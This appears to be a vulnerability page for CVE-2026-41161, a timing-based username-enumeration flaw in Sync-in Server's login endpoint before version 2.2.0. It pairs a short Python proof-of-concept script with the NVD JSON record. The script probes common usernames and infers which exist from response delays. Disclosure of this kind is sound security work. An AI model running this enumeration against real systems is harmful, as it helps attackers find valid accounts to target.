CVE-2026-41161

import requests import time def check_username(url, username): """Check if a username exists by measuring response time.""" target = f"{url}/api/auth/login" payload = { "username": username, "password": "dummy_password" # Use a fixed incorrect password } headers = { "Content-Type": "application/json" } try: start_time = time.time() response = requests.post(target, json=payload, headers=headers, timeout=5) elapsed_time = time.time() - start_time # Threshold may vary based on network conditions (e.g., 200ms) if elapsed_time > 0.2: return True, elapsed_time else: return False, elapsed_time except Exception as e: print(f"Error: {e}") return None, 0 if __name__ == "__main__": target_url = "http://example.com" user_list = ["admin", "root", "test", "guest"] for user in user_list: exists, duration = check_username(target_url, user) if exists: print(f"[+] Found User: {user} (Response: {duration:.4f}s)") else: print(f"[-] Not Found: {user} (Response: {duration:.4f}s)")

{"cve": {"id": "CVE-2026-41161", "sourceIdentifier": "[email protected]", "published": "2026-05-08T14:16:33.093", "lastModified": "2026-05-12T15:00:33.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sync-in Server is a secure, open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.2.0, the /api/auth/login endpoint contains a logic flaw that allows unauthenticated remote attackers to enumerate valid usernames by measuring the application's response time. This issue has been patched in version 2.2.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sync-in:sync-in_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "B5BFE291-F06A-4192-AE04-F5366BB3288C"}]}]}], "references": [{"url": "https://github.com/Sync-in/server/releases/tag/v2.2.0", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://github.com/Sync-in/server/security/advisories/GHSA-43fj-qp3h-hrh5", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/Sync-in/server/security/advisories/GHSA-43fj-qp3h-hrh5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}